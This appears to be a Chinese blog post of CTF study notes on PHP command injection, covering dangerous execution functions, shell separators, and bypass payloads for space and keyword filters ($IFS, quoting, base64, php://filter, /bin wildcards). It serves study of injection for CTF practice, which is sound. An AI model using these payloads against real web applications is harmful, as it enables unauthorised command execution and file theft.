首页 > 其他分享 >CTF-RCE命令执行

CTF-RCE命令执行

时间:2023-12-01 19:12:17浏览次数:28  
标签:文件 php 输出 cat 命令 CTF RCE 执行

RCE命令执行

基本概念

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 systemexecshell_exec 等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞产生条件

  • 调用第三方组件存在代码执行漏洞
  • 用户的输入作为系统命令的参数拼接到命令中
  • 对用户的输入过滤不严格

常用的Linux命令

常用Linux命令

执行函数

  1. system() 直接在终端打印返回结果,成功则返回命令输出的最后一行,失败则返回FALSE
  2. passthru() 执行外部程序并且显示原始输出,只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。
  3. exec() 执行一个外部程序,命令执行结果的最后一行内容。
  4. pcntl_exec() 在当前进程空间执行指定程序
  5. shell_exec() 命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
  6. popen() 函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
  7. proc_open()popen()函数相似,区别是前者提供的是双向通道
  8. 反引号与shell_exec功能相同,执行shell命令并返回输出的字符串。(``)
  9. ob_start() 用于打开缓冲区,开始输出缓冲, 这时PHP停止输出, 在这以后的输出都被转到一个内部的缓冲里。

命令连接符

主要是有; | || & &&这几种

command1&command2 两个命令同时执行
command1&&command2 只有前面命令执行成功,后面命令才继续执行
command1;command2 不管前面命令执行成功没有,后面的命令继续执行
command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
command1|command2 上一条命令的输出,作为下一条命令参数

模糊匹配

?与*

*可以匹配多个字符,?只能匹配一个字符

常用读取文件命令

cat
tac
nl
more
head
less
tail
od
pr

绕过空格过滤

{cat,flag.php} //cat flag.php
%20		空格的url编码
%09		tab键	
%0a		回车
\$IFS\$9
\${IFS}
$IFS
${IFS}
<

无参数的RCE

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

需要用到的函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出

ctfshowWEB40

各种绕过姿势

使用转义符号

ca\t /fl\ag
cat fl''ag

拼接法

a=fl;b=ag;cat$IFS$a$b

反引号绕过

cat `ls`//cat system("ls");

base64编码绕过

`echo Y2F0Cg==|base64 -d` flag
//cat的base64编码为Y2F0Cg==

配合文件包含

include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

配合传参

eval($_GET[1]);&1=system("ls%20/");

拷贝文件或者修改文件名

system("cp fla*.php 1.txt");
system("mv fla*.php 1.txt");

调用/bin

/bin/?at${IFS}f???????
在Linux中,/bin是安装基本系统管理命令和二进制文件的文件夹。这些二进制文件是指执行文件,通常包含在系统启动过程中需要的工具和命令行工具。/bin目录中包含了大量的基本命令和工具,包括:

\1. bash - 标准的命令行Shell
\2. cat - 将文件内容输出到屏幕
\3. cp - 复制文件
\4. date - 显示或设置系统时间
\5. mv - 移动或重命名文件
\6. pwd - 显示当前所在的工作目录
\7. rm - 删除文件或目录
\8. touch - 新建空白文件或更改文件的访问和修改时间

可以构造/bin/base64 fla*.php

进而进行简化成/???/????64 ????.???

标签:文件,php,输出,cat,命令,CTF,RCE,执行
From: https://www.cnblogs.com/wplsyx/p/17870718.html

相关文章

  • Misc_XCTF_WriteUp | can_has_stdio?
    题目分析按海星的组成符号来看,应该是brainfuck语言。翻译语言,得到flag:我觉得海星Flagflag{esolangs_for_fun_and_profit}参考CTF中那些脑洞大开的编码和加密-jack_Meng-博客园Brainfuck_Ook!Obfuscation_Encoding[splitbrain.org]......
  • Linux常用基础命令
    一、文件相关1、ls命令:显示当前目录的文件信息格式:ls[参数]-a:显示所有的文件和目录2、cp命令:复制文件或目录格式:cp[参数]源文件名,目标文件名-r:复制目录-f:复制已有文件3、mkdir命令:创建目录格式:mkdir[参数]目录名-m:指定权限-p:创建多级目录4、mv命令:移动或重命名......
  • 【ErikTse】2023-Codeforces新手训练营 第六期题解
    A.Wrath题目大意给你一个\(L\)数组和\(n\)个人,第\(i\)个人可以使用威力为\(L_i\)的闪电旋风劈击杀前面\(L_i\)人,问你最后能存活多少人?思路差分。开一个数组来标记当前威力的闪电旋风劈能击杀到的最远的人和使用技能的人,最远击杀的人所在的位置+1,自己的位置-1,这样算前缀和时所......
  • esxcli最有用的命令
    ESXCLI isapartoftheESXishell,thisisaCLIframeworkintendedtomanageanESXicomponentssuchashardware,network,storageandcontrolESXiitselfonthelowlevel.esxclicommandlistThelistofavailableESXCLIcommandsdependsontheESXive......
  • 蓝牙电话之HFP-AT命令集(转载)
    https://blog.csdn.net/weixin_44260005/article/details/104880536蓝牙电话之HFP-AT命令集蓝牙HFP协议中的AT命令都是复用《3GPP27.007》和《GSM07.07》这两个协议规定的AT命令集中的一部分指令,本篇只对HFP相关的AT命令学习下。AT命令在AG和HF之间的交互是建立于RFCOMM连接......
  • [Maven]关于Maven的生命周期与命令
    关于Maven的生命周期与命令工作的时候对Maven的install和package的使用产生了一些疑问,干脆将Maven的整个生命周期都复习总结一遍。先看下在IDEA中Maven的生命周期节点:cleanclean是清理命令,相当于执行了mvnclean命令。清理当前工程编译后生成的文件,也就是删除整个target目......
  • Windows下Nginx的重用命令及如何配置后台启动
    Windows下Nginx的常用命令在Windows下使用Nginx,我们需要掌握一些基本的操作命令,比如:启动、停止Nginx服务,重新载入Nginx等,下面我就进行一些简单的介绍。1、启动注意:使用后台启动必须配置daemonon;startnginx【后台启动】nginx.exe【临时启动】2、停止nginx.exe-sstop或......
  • 问题记录 <Latex 使用bibliography命令,引用文献中包含中文生僻字>
    问题描述LaTeX使用\bibliography和.bib设置参考文献时,中文生僻字无法显示。解决方式下载字体;将simsun.ttf文件放到.tex同一文件夹下;导言部分添加:%%解决生僻字问题,使用自定义命令\usepackage{ctex}\setCJKfamilyfont{myfont}{simsun.ttf}\newcommand{\MyFont}{\CJKfamil......
  • springboot 启动命令过长问题处理(Error running 'xxxxApplication': Command line is
      翻译搜索复制......
  • Docker 的一些常见命令
    dockerimagesdockerrim(后面跟dockerimagename,或者imageid)dockerbuilddockerbuild--tagimageName.//将当前目录下的dockerfilebuild成imageName的最新版本dockerpushdockerpushrepoName/imageName//将本地制作的镜像push到仓库中官方文......